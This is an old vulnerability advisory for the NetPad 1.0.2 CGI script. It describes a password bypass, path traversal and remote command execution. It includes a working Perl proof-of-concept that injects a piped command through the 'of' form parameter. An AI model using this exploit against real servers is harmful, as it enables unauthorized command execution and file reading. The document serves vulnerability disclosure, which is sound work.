According to the website, ...NetPad has been downloaded 1225 times!
Vulnerable (tested) Versions:
--------------------
NetPad v 1.0.2
Vendor Contact:
----------------
4-28-02 - Emailed lev@taintedthoughts.com
Vulnerabilities:
-- Password Bypass
1. The website claims "password security feature to prevent unauthorized
access!",
but this is NOT true.
A password is not required to read files. It is only required to write
to files.
-- Path Traversal
2. Improper filtering of input allows one to enter the traditional
"../../../" into
the input field to crawl back through directories of the server hosting
netpad.cgi,
allowing one to view any file readable by the webserver.
-- Command Execution
3. Due to improper usage of the open() function and input filtering, it is
possible
for a malicious visitor to remotely execute commands on the server
hosting
netpad.cgi
Proof of Concept code can be found below............
Remote Command Execution Exploit (POC):
---------------------------------------
#!/usr/bin/perl
# exploit for levcgi's NetPad 1.0.2
#
# This could easily be done with any browser and alittle effort.
#
# requires LWP avaliable at
# http://www.linpro.no/lwp/libwww-perl-5.64.tar.gz
# also, the number of ../'s differs. It depends on what $basedir
# is set to in the netpad.cgi script
#
# usage: perl script.pl http://site.tld/cgi-bin/netpad.cgi
../../../../bin/command
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("your open call can be exploited" . $ua->agent);
my $req = new HTTP::Request POST => $ARGV[0];
$req->content_type('application/x-www-form-urlencoded');
foreach(@ARGV){ $of .= "$_ " unless($_ eq $ARGV[0]); }
$req->content("proc=open&of=${of}|");
my $res = $ua->request($req);
if ($res->is_success) { print $res->content . "\n\nit should have
worked.\n"; }
else { print "request failed.\n"; }
Fix:
------
No matter how well one filters input to this program, we recommend that the
program itself be protected by htaccess.
